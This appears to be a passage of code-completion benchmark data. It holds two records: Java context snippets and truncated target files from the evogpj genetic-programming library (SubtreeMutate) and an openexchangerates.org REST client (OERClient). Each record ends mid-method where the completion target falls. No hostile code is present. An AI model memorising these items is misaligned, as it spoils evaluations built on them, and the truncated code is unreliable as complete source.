kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n y = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (y >>> 1) ^ mag01[y & 0x1];\n \n mti = 0;\n }\n \n y = mt[mti++];\n y ^= y >>> 11; // TEMPERING_SHIFT_U(y)\n y ^= (y << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(y)\n y ^= (y << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(y)\n y ^= (y >>> 18); // TEMPERING_SHIFT_L(y)\n \n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n z = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (z >>> 1) ^ mag01[z & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n z = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (z >>> 1) ^ mag01[z & 0x1];\n }\n z = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (z >>> 1) ^ mag01[z & 0x1];\n \n mti = 0;\n }\n \n z = mt[mti++];\n z ^= z >>> 11; // TEMPERING_SHIFT_U(z)\n z ^= (z << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(z)\n z ^= (z << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(z)\n z ^= (z >>> 18); // TEMPERING_SHIFT_L(z)\n \n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n a = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (a >>> 1) ^ mag01[a & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n a = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (a >>> 1) ^ mag01[a & 0x1];\n }\n a = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (a >>> 1) ^ mag01[a & 0x1];\n \n mti = 0;\n }\n \n a = mt[mti++];\n a ^= a >>> 11; // TEMPERING_SHIFT_U(a)\n a ^= (a << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(a)\n a ^= (a << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(a)\n a ^= (a >>> 18); // TEMPERING_SHIFT_L(a)\n \n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n b = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (b >>> 1) ^ mag01[b & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n b = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (b >>> 1) ^ mag01[b & 0x1];\n }\n b = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (b >>> 1) ^ mag01[b & 0x1];\n \n mti = 0;\n }\n \n b = mt[mti++];\n b ^= b >>> 11; // TEMPERING_SHIFT_U(b)\n b ^= (b << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(b)\n b ^= (b << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(b)\n b ^= (b >>> 18); // TEMPERING_SHIFT_L(b)\n \n /* derived from nextDouble documentation in jdk 1.2 docs, see top */\n v1 = 2 *\n (((((long)(y >>> 6)) << 27) + (z >>> 5)) / (double)(1L << 53))\n - 1;\n v2 = 2 * (((((long)(a >>> 6)) << 27) + (b >>> 5)) / (double)(1L << 53))\n - 1;\n s = v1 * v1 + v2 * v2;\n } while (s >= 1 || s==0);\n double multiplier = StrictMath.sqrt(-2 * StrictMath.log(s)/s);\n __nextNextGaussian = v2 * multiplier;\n __haveNextNextGaussian = true;\n return v1 * multiplier;\n }\n }\n \n \n \n \n\n /** Returns a random float in the half-open range from [0.0f,1.0f). Thus 0.0f is a valid\n result but 1.0f is not. */\n public float nextFloat()\n {\n int y;\n \n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n y = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (y >>> 1) ^ mag01[y & 0x1];\n\n mti = 0;\n }\n \n y = mt[mti++];\n y ^= y >>> 11; // TEMPERING_SHIFT_U(y)\n y ^= (y << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(y)\n y ^= (y << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(y)\n y ^= (y >>> 18); // TEMPERING_SHIFT_L(y)\n\n return (y >>> 8) / ((float)(1 << 24));\n }\n\n\n /** Returns a float in the range from 0.0f to 1.0f, possibly inclusive of 0.0f and 1.0f themselves. Thus:\n\n <p><table border=0>\n <th><td>Expression<td>Interval\n <tr><td>nextFloat(false, false)<td>(0.0f, 1.0f)\n <tr><td>nextFloat(true, false)<td>[0.0f, 1.0f)\n <tr><td>nextFloat(false, true)<td>(0.0f, 1.0f]\n <tr><td>nextFloat(true, true)<td>[0.0f, 1.0f]\n </table>\n \n <p>This version preserves all possible random values in the float range.\n */\n public float nextFloat(boolean includeZero, boolean includeOne)\n {\n float d = 0.0f;\n do\n {\n d = nextFloat(); // grab a value, initially from half-open [0.0f, 1.0f)\n if (includeOne && nextBoolean()) d += 1.0f; // if includeOne, with 1/2 probability, push to [1.0f, 2.0f)\n } \n while ( (d > 1.0f) || // everything above 1.0f is always invalid\n (!includeZero && d == 0.0f)); // if we're not including zero, 0.0f is invalid\n return d;\n }\n\n\n\n /** Returns an integer drawn uniformly from 0 to n-1. Suffice it to say,\n n must be > 0, or an IllegalArgumentException is raised. */\n public int nextInt(int n)\n {\n if (n<=0)\n throw new IllegalArgumentException(\"n must be positive, got: \" + n);\n \n if ((n & -n) == n) // i.e., n is a power of 2\n {\n int y;\n \n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n y = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (y >>> 1) ^ mag01[y & 0x1];\n \n mti = 0;\n }\n \n y = mt[mti++];\n y ^= y >>> 11; // TEMPERING_SHIFT_U(y)\n y ^= (y << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(y)\n y ^= (y << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(y)\n y ^= (y >>> 18); // TEMPERING_SHIFT_L(y)\n \n return (int)((n * (long) (y >>> 1) ) >> 31);\n }\n \n int bits, val;\n do \n {\n int y;\n \n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n y = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (y >>> 1) ^ mag01[y & 0x1];\n \n mti = 0;\n }\n \n y = mt[mti++];\n y ^= y >>> 11; // TEMPERING_SHIFT_U(y)\n y ^= (y << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(y)\n y ^= (y << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(y)\n y ^= (y >>> 18); // TEMPERING_SHIFT_L(y)\n \n bits = (y >>> 1);\n val = bits % n;\n } while(bits - val + (n-1) < 0);\n return val;\n }\n }", "public final class Parameters {\n /**\n * Names used to identify properties in the properties file. Every key in\n * the properties file is matched against these strings by\n * {@link AlgorithmBase} to extract the new property value.\n * \n * @author Owen Derby\n */\n public final static class Names {\n\n public static final String MUTATION_RATE = \"mutation_rate\";\n public static final String XOVER_RATE = \"xover_rate\";\n public static final String POP_SIZE = \"pop_size\";\n public static final String NUM_GENS = \"num_gens\";\n public static final String TIME_OUT = \"timeout\";\n public static final String PROBLEM = \"problem\";\n public static final String CROSS_VAL_SET = \"cross_validation_set\";\n public static final String PROBLEM_TYPE = \"problem_type\";\n public static final String PROBLEM_SIZE = \"problem_size\";\n public static final String EXTERNAL_THREADS = \"external_threads\";\n public static final String FUNCTION_SET = \"function_set\";\n public static final String FUNCTION_SET_SIZE = \"function_set_size\";\n public static final String UNARY_FUNCTION_SET = \"unary_function_set\";\n public static final String TERMINAL_SET = \"terminal_set\";\n public static final String MUTATE = \"mutate_op\";\n public static final String XOVER = \"xover_op\";\n public static final String SELECTION = \"selection_op\";\n public static final String FITNESS = \"fitness_op\";\n public static final String FALSE_NEGATIVE_WEIGHT = \"false_negative_weight\";\n public static final String INITIALIZE = \"initialize_op\";\n public static final String EQUALIZER = \"equalizer_op\";\n public static final String BIN_WIDTH = \"bin_width\";\n public static final String NUM_TRIALS = \"num_trials\";\n public static final String SEED = \"rng_seed\";\n public static final String TREE_INIT_MAX_DEPTH = \"tree_initial_max_depth\";\n public static final String MEAN_POW = \"fitness_mean_pow\";\n /**\n * Is the output variable for our problem integer-valued, such that we\n * can \"cheat\" and force our models to output integer values?\n */\n public static final String COERCE_TO_INT = \"integer_fitness\";\n public static final String BROOD_SIZE = \"brood_size\";\n public static final String KOZA_FUNC_RATE = \"koza_function_rate\";\n public static final String TREE_XOVER_MAX_DEPTH = \"tree_xover_max_depth\";\n public static final String TREE_XOVER_TRIES = \"tree_xover_tries\";\n public static final String TREE_MUTATE_MAX_DEPTH = \"tree_mutate_max_depth\";\n public static final String TOURNEY_SIZE = \"tourney_size\";\n /**\n * For multi-objective optimization\n */\n // methods of sorting within fronts\n public static final String FRONT_RANK_METHOD = \"front_rank_method\";\n public static final String EUCLIDEAN = \"euclidean\"; // use euclidean\n public static final String FIRST_FITNESS = \"first_fitness\"; // use first\n /**\n * The main json log\n */\n public static final String JSON_LOG_PATH= \"json_path\";\n /**\n * For logging the population\n */\n public static final String POP_SAVE_FILENAME = \"pop_save_filename\";\n public static final String POP_LOAD_FILENAME = \"pop_load_filename\";\n public static final String POP_DATA_PATH = \"pop_data_path\";\n public static final String POP_DATA_PATH_PREFIX = \"pop_data_path_prefix\";\n /**\n * For logging models\n */\n public static final String MODELS_PATH = \"models_path\";\t\n /**\n * Enable population logging?\n */\n public static final String ENABLE_POP_LOG = \"enable_pop_log\";\n /**\n * In what format should tree models be displayed?\n */\n public static final String PREFIX_SCHEME = \"prefix\";\n public static final String INFIX_MATLAB = \"infix\";\n /**\n * Should JSON logs be enabled?\n */\n public static final String SAVE_JSON = \"save_json\";\n }\n\n /**\n * Names for specific operators, as understood by the library when reading\n * in values from the properties file.\n * \n * @author Owen Derby\n */\n public final static class Operators {\n\n // FITNESS values\n\n // Symbolic Regression\n public static final String SR_JAVA_FITNESS = \"fitness.SRFitness.Java\";\n public static final String SR_CPP_FITNESS = \"fitness.SRFitness.Cpp\";\n public static final String SR_CUDA_FITNESS = \"fitness.SRFitness.Cuda\";\n public static final String SR_CUDA_FITNESS_DUAL = \"fitness.SRFitness.CudaDual\";\n public static final String SR_CUDA_FITNESS_CORRELATION = \"fitness.SRFitness.CudaCorrelation\";\n public static final String SR_CUDA_FITNESS_CORRELATION_DUAL = \"fitness.SRFitness.CudaCorrelationDual\";\n\n // GPFunction Classification\n public static final String GPFUNCTION_JAVA = \"fitness.GPFunctionFitness.Java\";\n public static final String GPFUNCTION_CV_JAVA = \"fitness.GPFunctionCVFitness.Java\";\n public static final String GPFUNCTION_CPP = \"fitness.GPFunctionFitness.Cpp\";\n public static final String GPFUNCTION_CUDA = \"fitness.GPFunctionFitness.Cuda\";\n public static final String GPFUNCTION_CV_CPP = \"fitness.GPFunctionCVFitness.Cpp\";\n public static final String GPFUNCTION_CV_CUDA = \"fitness.GPFunctionCVFitness.Cuda\";\n public static final String GPFUNCTION_PRED_CUDA = \"fitness.GPFunctionPredFitness.Cuda\";\n \n // GPFunction-KDE Classification\n public static final String GPFUNCTION_KDE_JAVA = \"fitness.GPFunctionKDEFitness.Java\";\n public static final String GPFUNCTION_KDE_CPP = \"fitness.GPFunctionKDEFitness.Cpp\";\n\n // RULE TREE CLASSIFIER\n public static final String RT_COST_JAVA_FITNESS = \"fitness.RT_Cost_Fitness.Java\";\n public static final String RT_MO_JAVA_FITNESS = \"fitness.RT_MO_Fitness.Java\";\n public static final String RT_FP_JAVA_FITNESS = \"fitness.RT_FP_Fitness.Java\";\n public static final String RT_FN_JAVA_FITNESS = \"fitness.RT_FN_Fitness.Java\";\n \n // Complexity\n public static final String SUBTREE_COMPLEXITY_FITNESS = \"fitness.SubtreeComplexity\";\n\n // INITIALIZE values\n public static final String TREE_INITIALIZE = \"operator.TreeInitialize\";\n\n // SELECTION values\n public static final String TOURNEY_SELECT = \"operator.TournamentSelection\";\n public static final String CROWD_SELECT = \"operator.CrowdedTournamentSelection\";\n\n // EQUALIZER values\n public static final String TOURNEY_EQUAL = \"operator.TournamentEqualization\";\n public static final String TREE_DYN_EQUAL = \"operator.TreeDynamicEqualizer\";\n public static final String DUMB_EQUAL = \"operator.DummyEqualizer\";\n public static final String DUMB_TREE_EQUAL = \"operator.DummyTreeEqualizer\";\n\n // MUTATE values\n //public static final String SUBTREE_MUTATE = \"operator.SubtreeMutate\";\n public static final String SUBTREE_MUTATE = \"operator.SubtreeMutateConstants\";\n\n // XOVER values\n public static final String BROOD_XOVER = \"operator.BroodSelection\";\n // single point uniform crossover\n public static final String SPU_XOVER = \"operator.SinglePointUniformCrossover\";\n // single point Koza crossover\n public static final String SPK_XOVER = \"operator.SinglePointKozaCrossover\";\n }\n\n /**\n * All default values for running the library.\n * <p>\n * To specify other values, please use the properties file.\n * \n * @author Owen Derby\n */\n public final static class Defaults {\n /**\n * verbosity flag. Helpful for debugging.\n */\n public static final Boolean VERBOSE = false;\n\n \n public static final int POP_SIZE = 1000;\n public static final int NUM_GENS = 10000;\n public static final int TIME_OUT = 60;\n // Frequency for selecting each operator\n public static final double MUTATION_RATE = 0.1;\n public static final double XOVER_RATE = 0.5;\n // reproduction/replication frequency is implicitly defined as\n // (1 - XOVER_RATE - MUTATION_RATE)\n\n /**\n * number of best individuals to carry over to next generation\n */\n public static final int ELITE = 3;\n // public static final int NUM_TRIALS = 30;\n public static final int TREE_INIT_MAX_DEPTH = 17;\n public static final int BIN_WIDTH = 5;\n /**\n * The power p to use in the power mean for computing the absolute\n * error.\n * \n * @see Mean\n */\n public static final int MEAN_POW = 2;\n public static final int BROOD_SIZE = 1;\n // default value of 90% suggested by Koza.\n public static final double KOZA_FUNC_RATE = .9;\n public static final int TREE_XOVER_MAX_DEPTH = 17;\n public static final int TREE_XOVER_TRIES = 10;\n public static final int TREE_MUTATE_MAX_DEPTH = 17;\n public static final int TOURNEY_SIZE = 7;\n \n\n public static final int PROBLEM_SIZE = 3;\n public static final String PROBLEM_TYPE = \"SRFunction\";\n public static final String SRFITNESS = \"fitness.SRFitness.Java, fitness.SubtreeComplexity\";\n public static final String GPFUNCTION_FITNESS = \"fitness.GPFunctionFitness.Java, fitness.SubtreeComplexity\";\n public static final String GPFUNCTIONKDE_FITNESS = \"fitness.GPFunctionKDEFitness.Java, fitness.SubtreeComplexity\";\n public static final String RULETREE_FITNESS = \"fitness.RT_MO_Fitness.Java, fitness.SubtreeComplexity\";\n public static final String PROBLEM = \"ProblemData/TrainDatasetBalanced2.txt\";\n public static final String CROSS_VAL_SET = \"ProblemData/TrainDatasetBalanced2.txt\";\n\n public static final int EXTERNAL_THREADS = 4;\n public static final int TARGET_NUMBER = 1;\n \n public static final double FALSE_NEGATIVE_WEIGHT = 0.5;\n /**\n * the initial seed to use for the rng in the algorithm.\n */\n public static final long SEED = System.currentTimeMillis();\n /**\n * Normally regression is over real numbers. Sometimes we want to do\n * regression over Integers. Set this to true to do so.\n */\n public static final boolean COERCE_TO_INT = false;\n\n public static final String INITIALIZE = Operators.TREE_INITIALIZE;\n public static final String SELECT = Operators.CROWD_SELECT;\n public static final String MUTATE = Operators.SUBTREE_MUTATE;\n public static final String EQUALIZER = Operators.TREE_DYN_EQUAL;\n public static final String XOVER = Operators.SPU_XOVER;\n /**\n * To handle support for multiple fitness functions, this field can be\n * filled with any number of comma-separated fitness operator class\n * names\n */\n public static final List<String> TERMINALS;\n static {\n TERMINALS = new ArrayList<String>();\n TERMINALS.add(\"X1\");\n }\n public static final List<String> FUNCTIONS;\n static {\n FUNCTIONS = new ArrayList<String>();\n FUNCTIONS.add(\"+\");\n FUNCTIONS.add(\"*\");\n FUNCTIONS.add(\"-\");\n FUNCTIONS.add(\"mydivide\");\n \n FUNCTIONS.add(\"mylog\");\n FUNCTIONS.add(\"exp\");\n FUNCTIONS.add(\"sin\");\n FUNCTIONS.add(\"cos\");\n FUNCTIONS.add(\"sqrt\");\n FUNCTIONS.add(\"square\");\n FUNCTIONS.add(\"cube\");\n FUNCTIONS.add(\"quart\");\n }\n \n // the main JSON log's default name\n public static final String JSON_LOG_PATH= \"evogpj-log.json\";\n\n // TODO dylan clear up this mess\n // for serializing the population\n public static final String POP_SAVE_FILENAME = \"evogpj-population.ser\";\n\n // for deserializing the population\n public static final String POP_LOAD_FILENAME = POP_SAVE_FILENAME;\n\n // controls the location at which to save population dumps\n public static final String POP_DATA_PATH_PREFIX = \"populationLog\";\n public static final String POP_DATA_PATH = POP_DATA_PATH_PREFIX\n + \"-unspecifiedAlgorighmType-unspecifiedSeed.txt\";\n\n /**\n * For logging models\n */\n public static final String MODELS_PATH = \"bestModelGeneration.txt\";\n public static final String CONDITIONS_PATH = \"conditions.txt\";\n public static final String MODELS_CV_PATH = \"bestCrossValidation.txt\";\n public static final String PARETO_PATH = \"pareto.txt\";\n public static final String LEAST_COMPLEX_PATH = \"leastComplex.txt\";\n public static final String MOST_ACCURATE_PATH = \"mostAccurate.txt\";\n public static final String KNEE_PATH = \"knee.txt\";\n public static final String FUSED_PATH = \"fusedModel.txt\";\n public static final String RESULT_PATH = \"result.txt\";\n\n public static final String ENABLE_POP_LOG = \"false\";\n public static final String CACHE_PREDICTIONS = \"false\";\n\n public static final String FRONT_RANK_METHOD = Names.FIRST_FITNESS;\n public static final String SAVE_JSON = \"false\";\n }\n}" ]
import evogpj.genotype.Tree; import evogpj.genotype.TreeGenerator; import evogpj.genotype.TreeNode; import evogpj.gp.GPException; import evogpj.gp.Individual; import evogpj.gp.MersenneTwisterFast; import java.util.ArrayList; import java.util.Properties; import evogpj.algorithm.Parameters;
/** * Copyright (c) 2011-2013 Evolutionary Design and Optimization Group * * Licensed under the MIT License. * * See the "LICENSE" file for a copy of the license. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * */ package evogpj.operator; /** * Implement mutation by selecting a node in the tree and generating an entire * new subtree, rooted at the selected node. * * @author Owen Derby */ public class SubtreeMutate extends RandomOperator implements Mutate { private final int TREE_MUTATE_MAX_DEPTH; private final TreeGenerator treeGen; /** * Construct a new mutation operator. The maximum depth of the new tree of * the returned individual is specified by the value at the key * {@value algorithm.Parameters.Names#TREE_MUTATE_MAX_DEPTH} in the * properties file. If no value is specified, the default depth limit is * {@value algorithm.Parameters.Defaults#TREE_MUTATE_MAX_DEPTH}. * * @param rand random number generator. * @param props object encoding system properties. * @param TGen generator to use for growing new subtrees. */ public SubtreeMutate(MersenneTwisterFast rand, Properties props,TreeGenerator TGen) { super(rand); if (props.containsKey(Parameters.Names.TREE_MUTATE_MAX_DEPTH)) TREE_MUTATE_MAX_DEPTH = Integer.valueOf(props.getProperty(Parameters.Names.TREE_MUTATE_MAX_DEPTH)); else TREE_MUTATE_MAX_DEPTH = Parameters.Defaults.TREE_MUTATE_MAX_DEPTH; treeGen = TGen; } @Override
public Individual mutate(Individual i) throws GPException {
3
kgilmer/org.openexchangerate.client
org.openexchangerates.client/src/org/openexchangerates/client/OERClient.java
[ "public interface ErrorHandler {\n\t/**\n\t * @param code the HTTP code of the error\n\t * @param human-readable error message\n\t * @throws IOException on I/O error\n\t */\n\tvoid handleError(int code, String message) throws IOException;\n}", "public interface HttpGETCache {\n\t\t\n\t/**\n\t * @param key cache key\n\t * @return content as InputStream or null if content doesn't exist.\n\t */\n\tHttpGETCacheEntry get(String key);\n\t\t\n\tvoid put(String key, HttpGETCacheEntry entry);\t\t\n}", "public interface Response<T> {\n /**\n * Cancel the request.\n * \n * @param mayInterruptIfRunning\n * @return\n */\n public abstract boolean cancel(boolean mayInterruptIfRunning);\n\n /**\n * @return true if the request has been canceled\n */\n public abstract boolean isCancelled();\n\n /**\n * @return true if the request has been completed\n */\n public abstract boolean isDone();\n\n /**\n * @return the content (body) of the response.\n * \n * @throws IOException\n */\n public abstract T getContent() throws IOException;\t \n\t \n\t/**\n\t * @return The HttpURLConnection associated with the request.\n\t */\n\tHttpURLConnection getConnection();\n\t/**\n\t * @return The HTTP method that was used in the call.\n\t */\n\tHttpMethod getRequestMethod();\n\t/**\n\t * @return The URL that was used in the call.\n\t */\n\tString getRequestUrl();\n\t/**\n\t * @return The HTTP Response code from the server.\n\t * @throws IOException on I/O error.\n\t */\n\tint getCode() throws IOException;\t\t\n\t\t\n\t/**\n\t * @return true if error code or an exception is raised, false otherwise.\n\t */\n\tboolean isError();\n\n\t/**\n\t * @return error message or null if failure to get message from server.\n\t */\n\tpublic abstract String getErrorMessage();\t\t\t\t\n}", "public interface ResponseDeserializer<T> {\t\t\t\n\t/**\n\t * Deserialize the input.\n\t * @param input input stream of response\n\t * @param responseCode HTTP response from server\n\t * @param headers HTTP response headers\n\t * @return deserialized representation of response\n\t * @throws IOException on I/O error\n\t */\n\tT deserialize(InputStream input, int responseCode, Map<String, List<String>> headers) throws IOException;\n}", "public interface URLBuilder extends Cloneable {\n\t/**\n\t * Append a segment to the URL. Will handle leading and trailing slashes, and schemes.\n\t * \n\t * @param segment to be appended\n\t * @return instance of builder\n\t */\n\tURLBuilder append(String ... segment);\n\t\t\n\t/**\n\t * @param value if true, scheme is set to https, otherwise http.\n\t * @return instance of builder\n\t */\n\tURLBuilder setHttps(boolean value);\t\t\n\t\t\n\t/**\n\t * @return URL as a String with scheme\n\t */\n\t@Override\n\tString toString();\n\t\t\n\t/**\n\t * @return A new instance of URLBuilder with same path and scheme as parent.\n\t */\n\tURLBuilder copy();\n\t\t\n\t/**\n\t * @param segments new segment to append to new copy of URLBuilder\n\t * @return A new instance of URLBuilder with same path and scheme as parent, with segment appended.\n\t */\n\tURLBuilder copy(String ... segments);\n\n\t/**\n\t * Add a query string parameter to the URL.\n\t * \n\t * @param key key name. Same key name can be used multiple times.\n\t * @param value value of parameter.\n\t * @return URLBuilder\n\t */\n\tURLBuilder addParameter(String key, String value);\n\n\t/**\n\t * \n\t * @param value if true, scheme will be present in toString(), otherwise will be omitted.\n\t * @return URLBuilder\n\t */\n\tURLBuilder emitScheme(boolean value);\n\n\t/**\n\t * @param value if true, domain is emitted in toString(), false means it will not be emitted.\n\t * @return URLBuilder\n\t */\n\tURLBuilder emitDomain(boolean value);\n}" ]
import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; import java.text.SimpleDateFormat; import java.util.Date; import java.util.HashMap; import java.util.Iterator; import java.util.List; import java.util.Map; import org.json.JSONException; import org.json.JSONObject; import org.json.JSONTokener; import org.openexchangerates.client.RestClient.ErrorHandler; import org.openexchangerates.client.RestClient.HttpGETCache; import org.openexchangerates.client.RestClient.Response; import org.openexchangerates.client.RestClient.ResponseDeserializer; import org.openexchangerates.client.RestClient.URLBuilder;
package org.openexchangerates.client; /** * openexchangerates.org (OER) client for Java. Deserializes OER JSON messages into native Java types. * * Depends on org.touge RestClient (a wrapper for HTTPUrlConnection) and org.json JSON library. * * @author kgilmer * */ public final class OERClient { /** * Date format used in composing openexchangerate.org URLs */ private final static SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd"); /** * Default URL for OER service. */ public static final String DEFAULT_OER_URL = "http://openexchangerates.org"; /** * This API_KEY value is used only if the non-api specifying constructor is used. */ public static final String DEFAULT_API_KEY = "CHANGE_ME_TO_YOUR_API_KEY"; /** * Default HTTP connection timeout. */ public static final int DEFAULT_CONNECT_TIMEOUT = 6000; /** * Default HTTP read timeout. */ public static final int DEFAULT_READ_TIMEOUT = 10000; private final RestClient restClient; private URLBuilder baseURL; private URLBuilder currenciesURL; private URLBuilder latestURL; private final String baseURLString; /** * {@link OERClient} constructor with default HTTP client and no caching or debugging. Throw any errors back to the caller. */ public OERClient() { this(null, DEFAULT_OER_URL, DEFAULT_CONNECT_TIMEOUT, DEFAULT_READ_TIMEOUT, null, RestClient.THROW_ALL_ERRORS); } /** * {@link OERClient} constructor with defaults for everything except for cache. * @param cache */ public OERClient(HttpGETCache cache) { this(cache, DEFAULT_OER_URL, DEFAULT_CONNECT_TIMEOUT, DEFAULT_READ_TIMEOUT, null, RestClient.THROW_ALL_ERRORS); } /** * {@link OERClient} constructor with all configuration capabilities exposed to the client. * * @param cache cache impl or null for no caching * @param oerUrl base URL to use to connect to OER service * @param connectTimeout connection timeout * @param readTimeout stream read timeout * @param debugWriter PrintWriter to send request/response messages to. If null no debug output will be generated. * @param errorHandler Determine how connection and deserialization errors are handled. * @param apiKey API_KEY provisioned at openexchangerates.org */ public OERClient(HttpGETCache cache, String oerUrl, int connectTimeout, int readTimeout, PrintWriter debugWriter, ErrorHandler errorHandler, String apiKey) { this.restClient = new RestClient(); this.baseURLString = oerUrl; this.baseURL = restClient.buildURL(oerUrl).addParameter("API_KEY", apiKey); this.currenciesURL = baseURL.copy("currencies.json"); this.latestURL = baseURL.copy("latest.json"); this.restClient.setCache(cache); if (debugWriter != null) this.restClient.setDebugWriter(debugWriter); // By default set timeouts on connect and response. restClient.addConnectionInitializer( new RestClient.TimeoutConnectionInitializer(DEFAULT_CONNECT_TIMEOUT, DEFAULT_READ_TIMEOUT)); // By default throw all errors (Connection, Parsing) back to caller. restClient.setErrorHandler(errorHandler); } /** * @param cache * @param oerUrl * @param connectTimeout * @param readTimeout * @param debugWriter * @param errorHandler */ public OERClient(HttpGETCache cache, String oerUrl, int connectTimeout, int readTimeout, PrintWriter debugWriter, ErrorHandler errorHandler) { this(cache, oerUrl, connectTimeout, readTimeout, debugWriter, errorHandler, DEFAULT_API_KEY); } /** * Set the API key * @param apiKey API key */ public void setApiKey(String apiKey) { this.baseURL = restClient.buildURL(baseURLString).addParameter("API_KEY", apiKey); this.currenciesURL = baseURL.copy("currencies.json"); this.latestURL = baseURL.copy("latest.json"); } /** * Get the latest currency rates. * * @return Map of latest currency rates. Key is currency, value is rate as double. * @throws IOException on I/O error * @throws JSONException on JSON parsing error */ public Map<String, Double> getLatestRates() throws JSONException, IOException { Map<String, Double> rateMap = new HashMap<String, Double>(); JSONObject json = callServer(latestURL.toString()); JSONObject rates = json.getJSONObject("rates"); for (Iterator<String> i = rates.keys(); i.hasNext();) { String key = i.next(); 